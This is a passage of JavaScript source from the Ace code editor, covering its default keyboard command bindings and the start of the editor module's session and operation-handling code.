exec: function(editor) {
config.loadModule("ace/ext/error_marker", function(module) {
module.showErrorMarker(editor, -1);
});
},
scrollIntoView: "animate",
readOnly: true
}, {
name: "selectall",
bindKey: bindKey("Ctrl-A", "Command-A"),
exec: function(editor) { editor.selectAll(); },
readOnly: true
}, {
name: "centerselection",
bindKey: bindKey(null, "Ctrl-L"),
exec: function(editor) { editor.centerSelection(); },
readOnly: true
}, {
name: "gotoline",
bindKey: bindKey("Ctrl-L", "Command-L"),
exec: function(editor) {
var line = parseInt(prompt("Enter line number:"), 10);
if (!isNaN(line)) {
editor.gotoLine(line);
}
},
readOnly: true
}, {
name: "fold",
bindKey: bindKey("Alt-L|Ctrl-F1", "Command-Alt-L|Command-F1"),
exec: function(editor) { editor.session.toggleFold(false); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "unfold",
bindKey: bindKey("Alt-Shift-L|Ctrl-Shift-F1", "Command-Alt-Shift-L|Command-Shift-F1"),
exec: function(editor) { editor.session.toggleFold(true); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "toggleFoldWidget",
bindKey: bindKey("F2", "F2"),
exec: function(editor) { editor.session.toggleFoldWidget(); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "toggleParentFoldWidget",
bindKey: bindKey("Alt-F2", "Alt-F2"),
exec: function(editor) { editor.session.toggleFoldWidget(true); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "foldall",
bindKey: bindKey(null, "Ctrl-Command-Option-0"),
exec: function(editor) { editor.session.foldAll(); },
scrollIntoView: "center",
readOnly: true
}, {
name: "foldOther",
bindKey: bindKey("Alt-0", "Command-Option-0"),
exec: function(editor) {
editor.session.foldAll();
editor.session.unfold(editor.selection.getAllRanges());
},
scrollIntoView: "center",
readOnly: true
}, {
name: "unfoldall",
bindKey: bindKey("Alt-Shift-0", "Command-Option-Shift-0"),
exec: function(editor) { editor.session.unfold(); },
scrollIntoView: "center",
readOnly: true
}, {
name: "findnext",
bindKey: bindKey("Ctrl-K", "Command-G"),
exec: function(editor) { editor.findNext(); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "findprevious",
bindKey: bindKey("Ctrl-Shift-K", "Command-Shift-G"),
exec: function(editor) { editor.findPrevious(); },
multiSelectAction: "forEach",
scrollIntoView: "center",
readOnly: true
}, {
name: "selectOrFindNext",
bindKey: bindKey("Alt-K", "Ctrl-G"),
exec: function(editor) {
if (editor.selection.isEmpty())
editor.selection.selectWord();
else
editor.findNext();
},
readOnly: true
}, {
name: "selectOrFindPrevious",
bindKey: bindKey("Alt-Shift-K", "Ctrl-Shift-G"),
exec: function(editor) {
if (editor.selection.isEmpty())
editor.selection.selectWord();
else
editor.findPrevious();
},
readOnly: true
}, {
name: "find",
bindKey: bindKey("Ctrl-F", "Command-F"),
exec: function(editor) {
config.loadModule("ace/ext/searchbox", function(e) {e.Search(editor);});
},
readOnly: true
}, {
name: "overwrite",
bindKey: "Insert",
exec: function(editor) { editor.toggleOverwrite(); },
readOnly: true
}, {
name: "selecttostart",
bindKey: bindKey("Ctrl-Shift-Home", "Command-Shift-Home|Command-Shift-Up"),
exec: function(editor) { editor.getSelection().selectFileStart(); },
multiSelectAction: "forEach",
readOnly: true,
scrollIntoView: "animate",
aceCommandGroup: "fileJump"
}, {
name: "gotostart",
bindKey: bindKey("Ctrl-Home", "Command-Home|Command-Up"),
exec: function(editor) { editor.navigateFileStart(); },
multiSelectAction: "forEach",
readOnly: true,
scrollIntoView: "animate",
aceCommandGroup: "fileJump"
}, {
name: "selectup",
bindKey: bindKey("Shift-Up", "Shift-Up|Ctrl-Shift-P"),
exec: function(editor) { editor.getSelection().selectUp(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "golineup",
bindKey: bindKey("Up", "Up|Ctrl-P"),
exec: function(editor, args) { editor.navigateUp(args.times); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selecttoend",
bindKey: bindKey("Ctrl-Shift-End", "Command-Shift-End|Command-Shift-Down"),
exec: function(editor) { editor.getSelection().selectFileEnd(); },
multiSelectAction: "forEach",
readOnly: true,
scrollIntoView: "animate",
aceCommandGroup: "fileJump"
}, {
name: "gotoend",
bindKey: bindKey("Ctrl-End", "Command-End|Command-Down"),
exec: function(editor) { editor.navigateFileEnd(); },
multiSelectAction: "forEach",
readOnly: true,
scrollIntoView: "animate",
aceCommandGroup: "fileJump"
}, {
name: "selectdown",
bindKey: bindKey("Shift-Down", "Shift-Down|Ctrl-Shift-N"),
exec: function(editor) { editor.getSelection().selectDown(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "golinedown",
bindKey: bindKey("Down", "Down|Ctrl-N"),
exec: function(editor, args) { editor.navigateDown(args.times); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectwordleft",
bindKey: bindKey("Ctrl-Shift-Left", "Option-Shift-Left"),
exec: function(editor) { editor.getSelection().selectWordLeft(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotowordleft",
bindKey: bindKey("Ctrl-Left", "Option-Left"),
exec: function(editor) { editor.navigateWordLeft(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selecttolinestart",
bindKey: bindKey("Alt-Shift-Left", "Command-Shift-Left|Ctrl-Shift-A"),
exec: function(editor) { editor.getSelection().selectLineStart(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotolinestart",
bindKey: bindKey("Alt-Left|Home", "Command-Left|Home|Ctrl-A"),
exec: function(editor) { editor.navigateLineStart(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectleft",
bindKey: bindKey("Shift-Left", "Shift-Left|Ctrl-Shift-B"),
exec: function(editor) { editor.getSelection().selectLeft(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotoleft",
bindKey: bindKey("Left", "Left|Ctrl-B"),
exec: function(editor, args) { editor.navigateLeft(args.times); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectwordright",
bindKey: bindKey("Ctrl-Shift-Right", "Option-Shift-Right"),
exec: function(editor) { editor.getSelection().selectWordRight(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotowordright",
bindKey: bindKey("Ctrl-Right", "Option-Right"),
exec: function(editor) { editor.navigateWordRight(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selecttolineend",
bindKey: bindKey("Alt-Shift-Right", "Command-Shift-Right|Shift-End|Ctrl-Shift-E"),
exec: function(editor) { editor.getSelection().selectLineEnd(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotolineend",
bindKey: bindKey("Alt-Right|End", "Command-Right|End|Ctrl-E"),
exec: function(editor) { editor.navigateLineEnd(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectright",
bindKey: bindKey("Shift-Right", "Shift-Right"),
exec: function(editor) { editor.getSelection().selectRight(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "gotoright",
bindKey: bindKey("Right", "Right|Ctrl-F"),
exec: function(editor, args) { editor.navigateRight(args.times); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectpagedown",
bindKey: "Shift-PageDown",
exec: function(editor) { editor.selectPageDown(); },
readOnly: true
}, {
name: "pagedown",
bindKey: bindKey(null, "Option-PageDown"),
exec: function(editor) { editor.scrollPageDown(); },
readOnly: true
}, {
name: "gotopagedown",
bindKey: bindKey("PageDown", "PageDown|Ctrl-V"),
exec: function(editor) { editor.gotoPageDown(); },
readOnly: true
}, {
name: "selectpageup",
bindKey: "Shift-PageUp",
exec: function(editor) { editor.selectPageUp(); },
readOnly: true
}, {
name: "pageup",
bindKey: bindKey(null, "Option-PageUp"),
exec: function(editor) { editor.scrollPageUp(); },
readOnly: true
}, {
name: "gotopageup",
bindKey: "PageUp",
exec: function(editor) { editor.gotoPageUp(); },
readOnly: true
}, {
name: "scrollup",
bindKey: bindKey("Ctrl-Up", null),
exec: function(e) { e.renderer.scrollBy(0, -2 * e.renderer.layerConfig.lineHeight); },
readOnly: true
}, {
name: "scrolldown",
bindKey: bindKey("Ctrl-Down", null),
exec: function(e) { e.renderer.scrollBy(0, 2 * e.renderer.layerConfig.lineHeight); },
readOnly: true
}, {
name: "selectlinestart",
bindKey: "Shift-Home",
exec: function(editor) { editor.getSelection().selectLineStart(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectlineend",
bindKey: "Shift-End",
exec: function(editor) { editor.getSelection().selectLineEnd(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "togglerecording",
bindKey: bindKey("Ctrl-Alt-E", "Command-Option-E"),
exec: function(editor) { editor.commands.toggleRecording(editor); },
readOnly: true
}, {
name: "replaymacro",
bindKey: bindKey("Ctrl-Shift-E", "Command-Shift-E"),
exec: function(editor) { editor.commands.replay(editor); },
readOnly: true
}, {
name: "jumptomatching",
bindKey: bindKey("Ctrl-P", "Ctrl-P"),
exec: function(editor) { editor.jumpToMatching(); },
multiSelectAction: "forEach",
scrollIntoView: "animate",
readOnly: true
}, {
name: "selecttomatching",
bindKey: bindKey("Ctrl-Shift-P", "Ctrl-Shift-P"),
exec: function(editor) { editor.jumpToMatching(true); },
multiSelectAction: "forEach",
scrollIntoView: "animate",
readOnly: true
}, {
name: "expandToMatching",
bindKey: bindKey("Ctrl-Shift-M", "Ctrl-Shift-M"),
exec: function(editor) { editor.jumpToMatching(true, true); },
multiSelectAction: "forEach",
scrollIntoView: "animate",
readOnly: true
}, {
name: "passKeysToBrowser",
bindKey: bindKey(null, null),
exec: function() {},
passEvent: true,
readOnly: true
}, {
name: "copy",
exec: function(editor) {
},
readOnly: true
},
{
name: "cut",
exec: function(editor) {
var range = editor.getSelectionRange();
editor._emit("cut", range);
if (!editor.selection.isEmpty()) {
editor.session.remove(range);
editor.clearSelection();
}
},
scrollIntoView: "cursor",
multiSelectAction: "forEach"
}, {
name: "paste",
exec: function(editor, args) {
editor.$handlePaste(args);
},
scrollIntoView: "cursor"
}, {
name: "removeline",
bindKey: bindKey("Ctrl-D", "Command-D"),
exec: function(editor) { editor.removeLines(); },
scrollIntoView: "cursor",
multiSelectAction: "forEachLine"
}, {
name: "duplicateSelection",
bindKey: bindKey("Ctrl-Shift-D", "Command-Shift-D"),
exec: function(editor) { editor.duplicateSelection(); },
scrollIntoView: "cursor",
multiSelectAction: "forEach"
}, {
name: "sortlines",
bindKey: bindKey("Ctrl-Alt-S", "Command-Alt-S"),
exec: function(editor) { editor.sortLines(); },
scrollIntoView: "selection",
multiSelectAction: "forEachLine"
}, {
name: "togglecomment",
bindKey: bindKey("Ctrl-/", "Command-/"),
exec: function(editor) { editor.toggleCommentLines(); },
multiSelectAction: "forEachLine",
scrollIntoView: "selectionPart"
}, {
name: "toggleBlockComment",
bindKey: bindKey("Ctrl-Shift-/", "Command-Shift-/"),
exec: function(editor) { editor.toggleBlockComment(); },
multiSelectAction: "forEach",
scrollIntoView: "selectionPart"
}, {
name: "modifyNumberUp",
bindKey: bindKey("Ctrl-Shift-Up", "Alt-Shift-Up"),
exec: function(editor) { editor.modifyNumber(1); },
scrollIntoView: "cursor",
multiSelectAction: "forEach"
}, {
name: "modifyNumberDown",
bindKey: bindKey("Ctrl-Shift-Down", "Alt-Shift-Down"),
exec: function(editor) { editor.modifyNumber(-1); },
scrollIntoView: "cursor",
multiSelectAction: "forEach"
}, {
name: "replace",
bindKey: bindKey("Ctrl-H", "Command-Option-F"),
exec: function(editor) {
config.loadModule("ace/ext/searchbox", function(e) {e.Search(editor, true);});
}
}, {
name: "undo",
bindKey: bindKey("Ctrl-Z", "Command-Z"),
exec: function(editor) { editor.undo(); }
}, {
name: "redo",
bindKey: bindKey("Ctrl-Shift-Z|Ctrl-Y", "Command-Shift-Z|Command-Y"),
exec: function(editor) { editor.redo(); }
}, {
name: "copylinesup",
bindKey: bindKey("Alt-Shift-Up", "Command-Option-Up"),
exec: function(editor) { editor.copyLinesUp(); },
scrollIntoView: "cursor"
}, {
name: "movelinesup",
bindKey: bindKey("Alt-Up", "Option-Up"),
exec: function(editor) { editor.moveLinesUp(); },
scrollIntoView: "cursor"
}, {
name: "copylinesdown",
bindKey: bindKey("Alt-Shift-Down", "Command-Option-Down"),
exec: function(editor) { editor.copyLinesDown(); },
scrollIntoView: "cursor"
}, {
name: "movelinesdown",
bindKey: bindKey("Alt-Down", "Option-Down"),
exec: function(editor) { editor.moveLinesDown(); },
scrollIntoView: "cursor"
}, {
name: "del",
bindKey: bindKey("Delete", "Delete|Ctrl-D|Shift-Delete"),
exec: function(editor) { editor.remove("right"); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "backspace",
bindKey: bindKey(
"Shift-Backspace|Backspace",
"Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"
),
exec: function(editor) { editor.remove("left"); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "cut_or_delete",
bindKey: bindKey("Shift-Delete", null),
exec: function(editor) {
if (editor.selection.isEmpty()) {
editor.remove("left");
} else {
return false;
}
},
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removetolinestart",
bindKey: bindKey("Alt-Backspace", "Command-Backspace"),
exec: function(editor) { editor.removeToLineStart(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removetolineend",
bindKey: bindKey("Alt-Delete", "Ctrl-K|Command-Delete"),
exec: function(editor) { editor.removeToLineEnd(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removetolinestarthard",
bindKey: bindKey("Ctrl-Shift-Backspace", null),
exec: function(editor) {
var range = editor.selection.getRange();
range.start.column = 0;
editor.session.remove(range);
},
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removetolineendhard",
bindKey: bindKey("Ctrl-Shift-Delete", null),
exec: function(editor) {
var range = editor.selection.getRange();
range.end.column = Number.MAX_VALUE;
editor.session.remove(range);
},
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removewordleft",
bindKey: bindKey("Ctrl-Backspace", "Alt-Backspace|Ctrl-Alt-Backspace"),
exec: function(editor) { editor.removeWordLeft(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "removewordright",
bindKey: bindKey("Ctrl-Delete", "Alt-Delete"),
exec: function(editor) { editor.removeWordRight(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "outdent",
bindKey: bindKey("Shift-Tab", "Shift-Tab"),
exec: function(editor) { editor.blockOutdent(); },
multiSelectAction: "forEach",
scrollIntoView: "selectionPart"
}, {
name: "indent",
bindKey: bindKey("Tab", "Tab"),
exec: function(editor) { editor.indent(); },
multiSelectAction: "forEach",
scrollIntoView: "selectionPart"
}, {
name: "blockoutdent",
bindKey: bindKey("Ctrl-[", "Ctrl-["),
exec: function(editor) { editor.blockOutdent(); },
multiSelectAction: "forEachLine",
scrollIntoView: "selectionPart"
}, {
name: "blockindent",
bindKey: bindKey("Ctrl-]", "Ctrl-]"),
exec: function(editor) { editor.blockIndent(); },
multiSelectAction: "forEachLine",
scrollIntoView: "selectionPart"
}, {
name: "insertstring",
exec: function(editor, str) { editor.insert(str); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "inserttext",
exec: function(editor, args) {
editor.insert(lang.stringRepeat(args.text || "", args.times || 1));
},
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "splitline",
bindKey: bindKey(null, "Ctrl-O"),
exec: function(editor) { editor.splitLine(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "transposeletters",
bindKey: bindKey("Alt-Shift-X", "Ctrl-T"),
exec: function(editor) { editor.transposeLetters(); },
multiSelectAction: function(editor) {editor.transposeSelections(1); },
scrollIntoView: "cursor"
}, {
name: "touppercase",
bindKey: bindKey("Ctrl-U", "Ctrl-U"),
exec: function(editor) { editor.toUpperCase(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "tolowercase",
bindKey: bindKey("Ctrl-Shift-U", "Ctrl-Shift-U"),
exec: function(editor) { editor.toLowerCase(); },
multiSelectAction: "forEach",
scrollIntoView: "cursor"
}, {
name: "expandtoline",
bindKey: bindKey("Ctrl-Shift-L", "Command-Shift-L"),
exec: function(editor) {
var range = editor.selection.getRange();
range.start.column = range.end.column = 0;
range.end.row++;
editor.selection.setRange(range, false);
},
multiSelectAction: "forEach",
scrollIntoView: "cursor",
readOnly: true
}, {
name: "joinlines",
bindKey: bindKey(null, null),
exec: function(editor) {
var isBackwards = editor.selection.isBackwards();
var selectionStart = isBackwards ? editor.selection.getSelectionLead() : editor.selection.getSelectionAnchor();
var selectionEnd = isBackwards ? editor.selection.getSelectionAnchor() : editor.selection.getSelectionLead();
var firstLineEndCol = editor.session.doc.getLine(selectionStart.row).length;
var selectedText = editor.session.doc.getTextRange(editor.selection.getRange());
var selectedCount = selectedText.replace(/\n\s*/, " ").length;
var insertLine = editor.session.doc.getLine(selectionStart.row);
for (var i = selectionStart.row + 1; i <= selectionEnd.row + 1; i++) {
var curLine = lang.stringTrimLeft(lang.stringTrimRight(editor.session.doc.getLine(i)));
if (curLine.length !== 0) {
curLine = " " + curLine;
}
insertLine += curLine;
}
if (selectionEnd.row + 1 < (editor.session.doc.getLength() - 1)) {
insertLine += editor.session.doc.getNewLineCharacter();
}
editor.clearSelection();
editor.session.doc.replace(new Range(selectionStart.row, 0, selectionEnd.row + 2, 0), insertLine);
if (selectedCount > 0) {
editor.selection.moveCursorTo(selectionStart.row, selectionStart.column);
editor.selection.selectTo(selectionStart.row, selectionStart.column + selectedCount);
} else {
firstLineEndCol = editor.session.doc.getLine(selectionStart.row).length > firstLineEndCol ? (firstLineEndCol + 1) : firstLineEndCol;
editor.selection.moveCursorTo(selectionStart.row, firstLineEndCol);
}
},
multiSelectAction: "forEach",
readOnly: true
}, {
name: "invertSelection",
bindKey: bindKey(null, null),
exec: function(editor) {
var endRow = editor.session.doc.getLength() - 1;
var endCol = editor.session.doc.getLine(endRow).length;
var ranges = editor.selection.rangeList.ranges;
var newRanges = [];
if (ranges.length < 1) {
ranges = [editor.selection.getRange()];
}
for (var i = 0; i < ranges.length; i++) {
if (i == (ranges.length - 1)) {
if (!(ranges[i].end.row === endRow && ranges[i].end.column === endCol)) {
newRanges.push(new Range(ranges[i].end.row, ranges[i].end.column, endRow, endCol));
}
}
if (i === 0) {
if (!(ranges[i].start.row === 0 && ranges[i].start.column === 0)) {
newRanges.push(new Range(0, 0, ranges[i].start.row, ranges[i].start.column));
}
} else {
newRanges.push(new Range(ranges[i-1].end.row, ranges[i-1].end.column, ranges[i].start.row, ranges[i].start.column));
}
}
editor.exitMultiSelectMode();
editor.clearSelection();
for(var i = 0; i < newRanges.length; i++) {
editor.selection.addRange(newRanges[i], false);
}
},
readOnly: true,
scrollIntoView: "none"
}];
});
ace.define("ace/editor",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/keyboard/textinput","ace/mouse/mouse_handler","ace/mouse/fold_handler","ace/keyboard/keybinding","ace/edit_session","ace/search","ace/range","ace/lib/event_emitter","ace/commands/command_manager","ace/commands/default_commands","ace/config","ace/token_iterator"], function(require, exports, module) {
"use strict";
require("./lib/fixoldbrowsers");
var oop = require("./lib/oop");
var dom = require("./lib/dom");
var lang = require("./lib/lang");
var useragent = require("./lib/useragent");
var TextInput = require("./keyboard/textinput").TextInput;
var MouseHandler = require("./mouse/mouse_handler").MouseHandler;
var FoldHandler = require("./mouse/fold_handler").FoldHandler;
var KeyBinding = require("./keyboard/keybinding").KeyBinding;
var EditSession = require("./edit_session").EditSession;
var Search = require("./search").Search;
var Range = require("./range").Range;
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var CommandManager = require("./commands/command_manager").CommandManager;
var defaultCommands = require("./commands/default_commands").commands;
var config = require("./config");
var TokenIterator = require("./token_iterator").TokenIterator;
var Editor = function(renderer, session) {
var container = renderer.getContainerElement();
this.container = container;
this.renderer = renderer;
this.id = "editor" + (++Editor.$uid);
this.commands = new CommandManager(useragent.isMac ? "mac" : "win", defaultCommands);
if (typeof document == "object") {
this.textInput = new TextInput(renderer.getTextAreaContainer(), this);
this.renderer.textarea = this.textInput.getElement();
this.$mouseHandler = new MouseHandler(this);
new FoldHandler(this);
}
this.keyBinding = new KeyBinding(this);
this.$blockScrolling = 0;
this.$search = new Search().set({
wrap: true
});
this.$historyTracker = this.$historyTracker.bind(this);
this.commands.on("exec", this.$historyTracker);
this.$initOperationListeners();
this._$emitInputEvent = lang.delayedCall(function() {
this._signal("input", {});
if (this.session && this.session.bgTokenizer)
this.session.bgTokenizer.scheduleStart();
}.bind(this));
this.on("change", function(_, _self) {
_self._$emitInputEvent.schedule(31);
});
this.setSession(session || new EditSession(""));
config.resetOptions(this);
config._signal("editor", this);
};
Editor.$uid = 0;
(function(){
oop.implement(this, EventEmitter);
this.$initOperationListeners = function() {
function last(a) {return a[a.length - 1];}
this.selections = [];
this.commands.on("exec", this.startOperation.bind(this), true);
this.commands.on("afterExec", this.endOperation.bind(this), true);
this.$opResetTimer = lang.delayedCall(this.endOperation.bind(this));
this.on("change", function() {
this.curOp || this.startOperation();
this.curOp.docChanged = true;
}.bind(this), true);
this.on("changeSelection", function() {
this.curOp || this.startOperation();
this.curOp.selectionChanged = true;
}.bind(this), true);
};
this.curOp = null;
this.prevOp = {};
this.startOperation = function(commadEvent) {
if (this.curOp) {
if (!commadEvent || this.curOp.command)
return;
this.prevOp = this.curOp;
}
if (!commadEvent) {
this.previousCommand = null;
commadEvent = {};
}
this.$opResetTimer.schedule();
this.curOp = {
command: commadEvent.command || {},
args: commadEvent.args,
scrollTop: this.renderer.scrollTop
};
if (this.curOp.command.name && this.curOp.command.scrollIntoView !== undefined)
this.$blockScrolling++;
};
this.endOperation = function(e) {
if (this.curOp) {
if (e && e.returnValue === false)
return this.curOp = null;
this._signal("beforeEndOperation");
var command = this.curOp.command;
if (command.name && this.$blockScrolling > 0)
this.$blockScrolling--;
var scrollIntoView = command && command.scrollIntoView;
if (scrollIntoView) {
switch (scrollIntoView) {
case "center-animate":
scrollIntoView = "animate";
case "center":
this.renderer.scrollCursorIntoView(null, 0.5);
break;
case "animate":
case "cursor":
this.renderer.scrollCursorIntoView();
break;
case "selectionPart":
var range = this.selection.getRange();
var config = this.renderer.layerConfig;
if (range.start.row >= config.lastRow || range.end.row <= config.firstRow) {
this.renderer.scrollSelectionIntoView(this.selection.anchor, this.selection.lead);
}
break;
default:
break;
}
if (scrollIntoView == "animate")
this.renderer.animateScrolling(this.curOp.scrollTop);
}
this.prevOp = this.curOp;
this.curOp = null;
}
};
this.$mergeableCommands = ["backspace", "del", "insertstring"];
this.$historyTracker = function(e) {
if (!this.$mergeUndoDeltas)
return;
var prev = this.prevOp;
var mergeableCommands = this.$mergeableCommands;
var shouldMerge = prev.command && (e.command.name == prev.command.name);
if (e.command.name == "insertstring") {
var text = e.args;
if (this.mergeNextCommand === undefined)
this.mergeNextCommand = true;
shouldMerge = shouldMerge
&& this.mergeNextCommand // previous command allows to coalesce with
&& (!/\s/.test(text) || /\s/.test(prev.args)); // previous insertion was of same type
this.mergeNextCommand = true;
} else {
shouldMerge = shouldMerge
&& mergeableCommands.indexOf(e.command.name) !== -1; // the command is mergeable
}
if (
this.$mergeUndoDeltas != "always"
&& Date.now() - this.sequenceStartTime > 2000
) {
shouldMerge = false; // the sequence is too long
}
if (shouldMerge)
this.session.mergeUndoDeltas = true;
else if (mergeableCommands.indexOf(e.command.name) !== -1)
this.sequenceStartTime = Date.now();
};
this.setKeyboardHandler = function(keyboardHandler, cb) {
if (keyboardHandler && typeof keyboardHandler === "string") {
this.$keybindingId = keyboardHandler;
var _self = this;
config.loadModule(["keybinding", keyboardHandler], function(module) {
if (_self.$keybindingId == keyboardHandler)
_self.keyBinding.setKeyboardHandler(module && module.handler);
cb && cb();
});
} else {
this.$keybindingId = null;
this.keyBinding.setKeyboardHandler(keyboardHandler);
cb && cb();
}
};
this.getKeyboardHandler = function() {
return this.keyBinding.getKeyboardHandler();
};
this.setSession = function(session) {
if (this.session == session)
return;
if (this.curOp) this.endOperation();
this.curOp = {};
var oldSession = this.session;
if (oldSession) {
this.session.off("change", this.$onDocumentChange);
this.session.off("changeMode", this.$onChangeMode);
this.session.off("tokenizerUpdate", this.$onTokenizerUpdate);
this.session.off("changeTabSize", this.$onChangeTabSize);
this.session.off("changeWrapLimit", this.$onChangeWrapLimit);
this.session.off("changeWrapMode", this.$onChangeWrapMode);
this.session.off("changeFold", this.$onChangeFold);
this.session.off("changeFrontMarker", this.$onChangeFrontMarker);
this.session.off("changeBackMarker", this.$onChangeBackMarker);
this.session.off("changeBreakpoint", this.$onChangeBreakpoint);
this.session.off("changeAnnotation", this.$onChangeAnnotation);
this.session.off("changeOverwrite", this.$onCursorChange);
this.session.off("changeScrollTop", this.$onScrollTopChange);
this.session.off("changeScrollLeft", this.$onScrollLeftChange);
var selection = this.session.getSelection();
selection.off("changeCursor", this.$onCursorChange);
selection.off("changeSelection", this.$onSelectionChange);
}
this.session = session;
if (session) {
this.$onDocumentChange = this.onDocumentChange.bind(this);
session.on("change", this.$onDocumentChange);
this.renderer.setSession(session);
this.$onChangeMode = this.onChangeMode.bind(this);
session.on("changeMode", this.$onChangeMode);
this.$onTokenizerUpdate = this.onTokenizerUpdate.bind(this);
session.on("tokenizerUpdate", this.$onTokenizerUpdate);
this.$onChangeTabSize = this.renderer.onChangeTabSize.bind(this.renderer);
session.on("changeTabSize", this.$onChangeTabSize);
this.$onChangeWrapLimit = this.onChangeWrapLimit.bind(this);
session.on("changeWrapLimit", this.$onChangeWrapLimit);
this.$onChangeWrapMode = this.onChangeWrapMode.bind(this);
session.on("changeWrapMode", this.$onChangeWrapMode);
this.$onChangeFold = this.onChangeFold.bind(this);
session.on("changeFold", this.$onChangeFold);
this.$onChangeFrontMarker = this.onChangeFrontMarker.bind(this);
this.session.on("changeFrontMarker", this.$onChangeFrontMarker);
this.$onChangeBackMarker = this.onChangeBackMarker.bind(this);
this.session.on("changeBackMarker", this.$onChangeBackMarker);
this.$onChangeBreakpoint = this.onChangeBreakpoint.bind(this);
this.session.on("changeBreakpoint", this.$onChangeBreakpoint);
this.$onChangeAnnotation = this.onChangeAnnotation.bind(this);
this.session.on("changeAnnotation", this.$onChangeAnnotation);
this.$onCursorChange = this.onCursorChange.bind(this);
this.session.on("changeOverwrite", this.$onCursorChange);
this.$onScrollTopChange = this.onScrollTopChange.bind(this);
this.session.on("changeScrollTop", this.$onScrollTopChange);
this.$onScrollLeftChange = this.onScrollLeftChange.bind(this);
this.session.on("changeScrollLeft", this.$onScrollLeftChange);
this.selection = session.getSelection();
this.selection.on("changeCursor", this.$onCursorChange);
this.$onSelectionChange = this.onSelectionChange.bind(this);
this.selection.on("changeSelection", this.$onSelectionChange);
this.onChangeMode();
this.$blockScrolling += 1;
this.onCursorChange();
this.$blockScrolling -= 1;
this.onScrollTopChange();
this.onScrollLeftChange();
this.onSelectionChange();
this.onChangeFrontMarker();
this.onChangeBackMarker();
this.onChangeBreakpoint();
this.onChangeAnnotation();
this.session.getUseWrapMode() && this.renderer.adjustWrapLimit();
this.renderer.updateFull();
} else {
this.selection = null;
this.renderer.setSession(session);
}
this._signal("changeSession", {
session: session,
oldSession: oldSession
});
this.curOp = null;
oldSession && oldSession._signal("changeEditor", {oldEditor: this});
session && session._signal("changeEditor", {editor: this});
if (session && session.bgTokenizer)
session.bgTokenizer.scheduleStart();
};
this.getSession = function() {
return this.session;
};
this.setValue = function(val, cursorPos) {
this.session.doc.setValue(val);
if (!cursorPos)
this.selectAll();
else if (cursorPos == 1)
this.navigateFileEnd();
else if (cursorPos == -1)
this.navigateFileStart();
return val;
};
this.getValue = function() {
return this.session.getValue();
};
this.getSelection = function() {
return this.selection;
};
this.resize = function(force) {
this.renderer.onResize(force);
};
this.setTheme = function(theme, cb) {
this.renderer.setTheme(theme, cb);
};
this.getTheme = function() {
return this.renderer.getTheme();
};
this.setStyle = function(style) {
this.renderer.setStyle(style);
};
this.unsetStyle = function(style) {
this.renderer.unsetStyle(style);
};
this.getFontSize = function () {
return this.getOption("fontSize") ||
dom.computedStyle(this.container, "fontSize");
};
this.setFontSize = function(size) {
this.setOption("fontSize", size);
};
this.$highlightBrackets = function() {
if (this.session.$bracketHighlight) {
this.session.removeMarker(this.session.$bracketHighlight);
this.session.$bracketHighlight = null;
}
if (this.$highlightPending) {
return;
}
var self = this;
this.$highlightPending = true;
setTimeout(function() {
self.$highlightPending = false;
var session = self.session;
if (!session || !session.bgTokenizer) return;
var pos = session.findMatchingBracket(self.getCursorPosition());
if (pos) {
var range = new Range(pos.row, pos.column, pos.row, pos.column + 1);
} else if (session.$mode.getMatching) {
var range = session.$mode.getMatching(self.session);
}
if (range)
session.$bracketHighlight = session.addMarker(range, "ace_bracket", "text");
}, 50);
};
this.$highlightTags = function() {
if (this.$highlightTagPending)
return;
var self = this;
this.$highlightTagPending = true;
setTimeout(function() {
self.$highlightTagPending = false;
var session = self.session;
